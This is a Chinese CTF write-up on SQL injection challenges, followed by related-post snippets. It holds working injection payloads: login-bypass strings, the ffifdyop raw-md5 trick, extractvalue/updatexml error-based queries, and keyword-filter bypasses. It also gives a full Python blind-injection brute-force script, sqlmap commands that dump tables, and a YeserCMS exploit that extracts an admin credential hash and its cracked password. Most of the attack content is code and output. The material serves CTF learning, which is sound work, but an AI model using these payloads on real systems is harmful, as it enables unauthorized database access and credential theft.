2. 程式人生 > >CTF-web 第二部分 SQL注入(3)

CTF-web 第二部分 SQL注入(3)

阿新 • • 發佈：2019-01-11

例題

檢視原始碼可以需要admin賬號，構造簡單的注入就可以通過 admin’ or ‘a’=‘a’# (admin’ or 1=1# )密碼隨意 驗證碼正確填寫就可以

2. 不要懷疑,我已經過濾了一切,還再逼你注入,哈哈哈哈哈!

登入表單測試username password 測試username輸入mask’ ，沒有報錯，可是注入，粗測這裡的sql語句類似是：
select …from …where username =’ ’ and password = ’ ';

構造username :mask'='0 password :mask'='0 sql語句變為：select ....from .... where (username ='mask')='0' and (password ='mask') = '0' 成功繞過

要求輸入密碼，觀察php程式碼

 $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
   $result=mysqli_query($link,$sql);
  if(mysqli_num_rows($result)>0){
   echo 'flag is :'.$flag;
  }
  else{
   echo '密碼錯誤!';
  }

存在md5($str,true)注入 md5(string, raw)，raw可選，預設為false，true:返回16字元2進位制格式，false:返回32字元16進位制格式。

簡單來說就是 true將16進位制的md5轉化為字元了,如果某一字串的md5恰好能夠產生如’or ’之類的注入語句，就可以進行注入了.

提供一個字串：ffifdyop，
md5後為276f722736c95d99e921722cf9ed621c，轉成字串後為’or’6，即可成功繞過。

4.加了料的注入報錯

該題目較為複雜，對於賬號密碼輸入進行測試username='or '1 報錯說明’可以使用，但是測試發現被過濾了#-:= ,並且username中不能使用()，password中卻可以。

使用萬能密碼username='or ‘1，password=‘or ‘可以登入但是沒卵用，檢視原始碼發現提示的查詢語句
s

ql="select∗fromuserwhereusername=′sql="select * from user where username='username’ and password=’$password’"

根據以上資訊，思路是在username裡寫報錯函式名，password裡寫剩下的語句，使用的方法是http分割注入，原理是使用/**/進行註釋。注入字串如下：
報錯出資料庫名 （為error_based_hpf）

我們使用了兩種函式的注入，extractvalue和updatexml，具體的區別見程式碼吧

username='or extractvalue /*，password=*/(1, concat(0x5c,(select user()))) or'
username=' or '1&password=' or pcat() or '1 ，顯示FUNCTION error_based_hpf.pcat does not exist (利用形式username=' or updatexml/*&password=*/(1,concat(0x3a,(錯誤語句)),1) or ')

報表名：由於不能等號、limit、like，於是借用regexp（為ffll44jj）
username='or extractvalue /*，password=*/(1, concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema regexp 'error_based_hpf'))) or'
username=' or updatexml/*&password=*/(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema regexp database()),0x3a),1) or '

爆欄位(列) (為value)
username='or extractvalue /*，password=*/(1, concat(0x5c,(select group_concat(column_name) from information_schema.tables where table_name regexp 'ffll44jj'))) or'  
username=' or updatexml/*&password=*/(1,concat(0x3a,(select group_concat(column_name) from information_schema.tables where table_name regexp 'ffll44jj'),0x3a),1) or ' 

 爆數值
 username='or extractvalue /*，password=*/(1, concat(0x5c,(select group_concat(value) from ffll44jj))) or'  
 username='or updatexml/*&password=*/(1,concat(0x3a,(select group_concat(value) from ffll44jj),0x3a),1) or 
    '  
 即可得到flag

過濾了and，空格，逗號，union，+等，但是fuzzer時or是可以用的，不過在後臺給刪除了，所以採用oorr的形式進行盲注破解。

第一步 資料庫名長度id=0’oorr(length(database())=1)oorr’0 如果長度正確就會顯示在裡面 使用inturder就可以 將長度標記$$ 設定範圍1,40,1 得到結果為18長度

第二步 資料庫名，使用單個字元爆破id=0’oorr((mid((database())from(y)foorr(x)))=’%s’)oorr’0 y表示起始位置 x表示執行幾位 本題需要一位一位測試 即y為1-18 x=1 指令碼見

import requests
# 本指令碼用於自動爆破資料庫長度 名字 表的長度 名字 欄位 數值等
# 使用中，6個函式需要自己手動執行，根據返回的引數帶入到下一個函式進行
# 具體的每個函式的負載 需要根據情況更改
# 這個不是我的 網上大佬的
​
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"  # 測試的路徑
str = "You are in"   # 成功時可以在響應中匹配到的字串，用於判斷
guess = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]."  # 名字猜解的字元範圍
​
def get_ku_length():
    print('start')
    for i in range(1, 30):
        key = {'id': "0'oorr(length(database())=%s)oorr'0" % i}
        res = requests.post(url, data=key).text
        print(i)
        if str in res:
            print("find the length %s" %i)
            break
​
def get_ku_name():
    database = ''
    print('start')
    for i in range(1, 19):
        for j in guess:
            key = {'id': "0'oorr((mid((database())from(%s)foorr(1)))='%s')oorr'0" % (i, j)}
            res = requests.post(url, data=key).text
            print('............%s......%s.......' % (i, j))
            if str in res:
                database += j
                break
    print(database)
​
​
def get_table_length():
    i = 1
    print("start")
    while True:
        # 多個表名使用@隔開
        res = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='')oorr'0" % i
        res = res.replace(' ', chr(0x0a))
        key = {'id': res}
        r = requests.post(url, data=key).text
        print(i)
        if str in r:
            print("length: %s" % i)
            break
        i += 1
    print("end!")
​
def get_table_name():
    table = ""
    print("start")
    for i in range(1, 12):
        for j in guess:
            res = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tab" \
                  "les)where(table_schema)=database())='%s')oorr'0" % (i, j)
            # 由於遮蔽空格 替換為換行符號
            res = res.replace(' ', chr(0x0a))
            key = {'id': res}
            r = requests.post(url, data=key).text
            print('---------%s---------%s' % (i, j))
            if str in r:
                table += j
                break
    print(table)
    print("end!")
​
​
def get_ziduan_length(table_name):
    i = 1
    print("start")
    while True:
        # res = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='')oorr'0" % i
        res = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)="% i
        res += "'"+table_name + "')='')oorr'0"
        print(res)
        res = res.replace(' ', chr(0x0a))
        key = {'id': res}
        r = requests.post(url, data=key).text
        print(i)
        if str in r:
            print("length: %s" % i)
            break
        i += 1
    print("end!")
​
def get_ziduan_name():
    column = ""
    print("start")
    for i in range(1, 6):
        for j in guess:
            res = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%s')oorr'0" % (
            i, j)
            res = res.replace(' ', chr(0x0a))
            key = {'id': res}
            r = requests.post(url, data=key).text
            print("......%s.........%s........." % (i, j))
            if str in r:
                column += j
                break
    print(column)
    print("end!")
​
​
def get_value():
    flag = ""
    print("start")
    for i in range(1, 20):
        for j in guess:
            res = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'0" % (i, j)
            res = res.replace(' ', chr(0x0a))
            key = {'id': res}
            r = requests.post(url, data=key).text
            'print("........%s..........%s........"%(i,j))'
            if str in r:
                flag += j
                print(flag)
                break
    print(flag)
    print("end!")

為賬號密碼登入，使用SQL注入獲取賬號密碼的

檢查注入 -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login"
讀取庫 -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --dbs
讀取表 -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --tables -D "test"
讀取數值 -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --dump -T "admin" -D "test"
得到賬號密碼為admin，idnuenna，登陸後得到flag

7. ichunqiu Web 名稱：YeserCMS 50分

/celive/live/header.php檔案的parse_str($sQuery, $aArray);存在注入漏洞。post使用報錯注入

 庫名 
    xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
          
表 
    xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
          、
猜解表的欄位 
    xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(column_name) from information_schema.columns where table_name='yesercms_user'),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
    
獲取數值 
    xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528concat%2528username%252C%2527%257C%2527%252Cpassword%2529%2529%2520from%2520yesercms_user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>
                   
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',((UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

得到admin|ff512d4240cbbdeafada404677ccbe61,解密後得到明文：Yeser231
登入後 後臺管理在當前模板編輯處存在檔案讀取漏洞 https://www.ichunqiu.com/battalion

8. ichunqiu Web 名稱：SQL 50分

從url的id引數發現可以注入，但是過濾了union select等關鍵字 不成問題 繞一下

uni<>on sel<>ect database() version()分別為 --》 sqli --》 5.5.50-0ubuntu0.14.04.1
進一步獲取表 ?id=-1 uni<>on sele<>ct 1,(sel<>ect g<>roup_c<>oncat(t<>able_n<>ame) fro<>m i<>nformation_sch<>ema.tab<>les w<>here ta<>ble_sch<>ema=database()),3      --》info
進一步獲取欄位 ?id=-1 uni<>on sele<>ct 1,(sel<>ect gr<>oup_concat(colu<>mn_na<>me) from inform<>ation_schema.co<>lumns wh<>ere table_name='info'),3              --》id,title,flAg_T5ZNdrm
獲取數值 ?id=-1 uni<>on sele<>ct 1,(sel<>ect gro<>up_co<>ncat(flAg_T5ZNdrm) f<>rom info),3

9. ichunqiu 百度杯十月 Web 名稱：登陸 50分

這是一個登陸的賬戶密碼輸入框，但是對於一般的sql注入，過濾了很多mid, substr, left ,search 等很多函式，但是是存在布林注入的，所以另外尋找方法

這有一個神奇的思路，兩個輸入框的class類名即為資料庫中的段名，這個是別人測試出來的。

採用like模糊搜尋，使用數字字母的前向匹配方式進行爆破，流程如下：

大迴圈-》使用上限為40個數字字母的’{}%'匹配，迴圈搜尋，如果為真則進行下一個字母的匹配，直到搜尋到完整的名字。（爆破賬戶密碼）

輸入的格式 admin’ or user_n3me like ‘a%’;#

相關推薦

CTF-web 第二部分 SQL注入(3)

例題 檢視原始碼可以需要admin賬號，構造簡單的注入就可以通過 admin’ or ‘a’=‘a’# (admin’ or 1=1# )密碼隨意 驗證碼正確填寫就可以 2. 不要懷疑,我已經過濾了一切,還再逼你注入,哈哈哈哈哈! 登入表單測試username

實驗吧 ctf 簡單的sql注入3

解題連結： http://ctf5.shiyanbar.com/web/index_3.php id=1為注入點 http://ctf5.shiyanbar.com/web/index_3.php?id=1然後就用sqlmap來跑一下 結果能出答案 我也是抱著嘗試的態度

Web安全漏洞——sql注入

1.原理 注入攻擊的本質，是把使用者輸入的資料當成程式碼執行。兩個關鍵條件：一是使用者能夠控制輸入；二是原本程式要執行的程式碼，拼接了使用者輸入的資料。當攻擊者傳送的sql語句被sql直譯器執行，通過執行這些惡意語句欺騙資料庫執行，導致資料庫資訊洩露。 2.分類 按注入點

CTF-WEB檔案包含及注入

實驗步驟一 　　首先開啟網頁，發現只有一個簡單頁面，原始碼頁沒有收穫。但是位址列貌似有線索。    　　貌似是檔案包含，我們包含以下主頁試試，提示錯誤。    　　那驗證任意檔案包含，發現也不行，而且提示的錯誤資訊變了。   實驗步驟

【28】WEB安全學習----SQL注入總結

檢測注入 不管什麼資料庫注入，檢測是否有注入點是第一步，而檢測的方法大同小異。 1、閉合SQL拼接語句 要想進行下一步注入，首先需要閉合SQL語句，如何知道閉合符號是什麼呢？可通過在引數後面加入單引號或雙引號使其整條SQL拼接語句失敗，從而可從資料庫報錯資訊得知，若沒有

記一道CTF 中遇到的SQL注入新型萬能密碼問題

0x00. 引言 我們平時遇到的SQL注入萬能密碼都是形如admin' or '1'='1, 這種使用or 關鍵字使得查詢結果永真，或者形如：' UNION Select 1,1,1 FROM admin Where ''='，這種使用union使得查詢結果永真， 但是有

web安全防sql注入

所謂SQL注入，就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字串，最終達到欺騙伺服器執行惡意的SQL命令。具體來說，它是利用現有應用程式，將（惡意的）SQL命令注入到後臺資料庫引擎執行的能力，它可以通過在Web表單中輸入（惡意）SQL語句得

【滲透攻防WEB篇】SQL注入攻擊初級

前言 不管用什麼語言編寫的Web應用，它們都用一個共同點，具有互動性並且多數是資料庫驅動。在網路中，資料庫驅動的Web應用隨處可見，由此而存在的SQL注入是影響企業運營且最具破壞性的漏洞之一，這裡我想問，我們真的瞭解SQL注入嗎？看完本篇文章希望能讓你更加深刻

Web簡單的SQL注入

實驗吧連結： http://ctf5.shiyanbar.com/423/web/ 解題思路：研究了好久，看了writeup才知道 1）在文字框輸入1，提交，連結變成id=1 2）在檔案框輸入1‘，提交，報錯，判斷存在注入。 3）初步預計後臺表為flag

SQL注入(3)

SQL注入基於錯誤查詢is_srvrolemember()是一個SQL Server T-SQL函式，返回值:1: 如果使用者屬於指定的組0: 如果使用者不屬於指定的組NULL: 如果指定的組不存在?id=12/is_srvrolemember('sysadmin') 如果使

實驗吧 ctf 題目簡單的sql注入2writeup

1.輸入id值，通過回顯發現題目應該是進行了空格過濾 2.使用sqlmap進行注入    2.1  python sqlmap.py  -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --random-agent 

Web安全之SQL注入攻擊技巧與防範

在Web1.0時代，人們更多是關注伺服器端動態指令碼語言的安全問題，比如將一個可執行指令碼（俗稱Webshell）通過指令碼語言的漏洞上傳到伺服器上，從而獲得伺服器許可權。在Web發展初期，隨著動態指令碼語言的發展和普及，以及早期工程師對安全問題認知不足導致很多”安全血案”

實驗吧 WEB 簡單的sql注入

題目連結：http://www.shiyanbar.com/ctf/1875 題目提示：通過注入獲得flag值。 點開題目，又是一個簡潔的介面讓我一臉懵逼(0.0) 好吧，開始我們的注入之旅。 首先，隨便往框裡面輸入字元和數字，發現當輸入1、2、3的時候有查詢結果。 接

Web安全之SQL注入

什麼是SQL注入? sql注入是一種將sql程式碼新增到輸入引數中，傳遞到sql伺服器解析並執行的一種攻擊手法 SQL是怎麼產生的？ WEB開發人員無法保證所有的輸入都已經過濾攻擊者利用傳送給SQL伺服器的輸入資料構造可執行的SQL程式碼資料庫未做相應安全配置 如

實驗吧WP（web部分）【登入一下好嗎，who are you, 因缺思汀的繞過，簡單的sql注入之3】【不想更新實驗吧了，伺服器太差】

六. 登入一下好嗎？通過這道題提示下寄幾：不是所有有關sql語句的注入都要報庫名錶名欄位名！！！首先開啟這道題，是倆輸入框，輸入1和1有回顯，輸入union等字元會不顯示，想著應該是回顯注入此時應自動腦補sql語句：select * from user where usern

CTF-web 第七部分 flask模板注入 沙箱逃逸

1 注入原理 Flask 是python語言編寫的輕量級的MVC （也可以稱為MTV, T: Template）框架具體詳見http://docs.jinkan.org/docs/flask/  對於Flask 框架本身，本文不做討論。   我們看一下測試程

CTF-web 第十三部分 命令注入

一 、基本原理 命令注入指的是，利用沒有驗證過的惡意命令或程式碼，對網站或伺服器進行滲透攻擊。 注入有很多種，並不僅僅只有SQL注入。比如： 命令注入(Command Injection) Eval 注入(Eval Injection) 客戶端指令碼攻擊(Script

【web漏洞百例】3.Sql注入、不安全的隨機數

一、Sql注入 描述： 通過不可信來源的輸入構建動態SQL指令，攻擊者就能夠修改指令的含義或者執行任意SQL命令。舉例： Sql注入錯誤會在以下情況發生 1.資料從一個不可信賴的資料來源進入程式。 2.資料用於動態地構造一個SQL語句 使用Java的MyBatis/iBat

BugKuCTF(CTF-練習平臺)——WEB-SQL注入1

%00截斷 http://103.238.227.13:10087/?id=-1%20uni%00on%20sel%00ect%201,database()%23 http://103.238.227.13:10087/?id=-1%20uni%00on%20

CTF-web Xman-2018 第六天 sql注入

對於新的題目，不能侷限於自己以前的trik，這是一個誤區。其實做題，主要還是看有什麼功能，掃一下路徑和資訊，需要根據它具有的功能來測試可能有的漏洞。 每個惡意的payload都需要我們對測試進行觀察，會有什麼錯誤，為什麼會這樣。猜測後臺程式碼是怎麼寫的。 還有一個需要防範的就是誤導，一個題目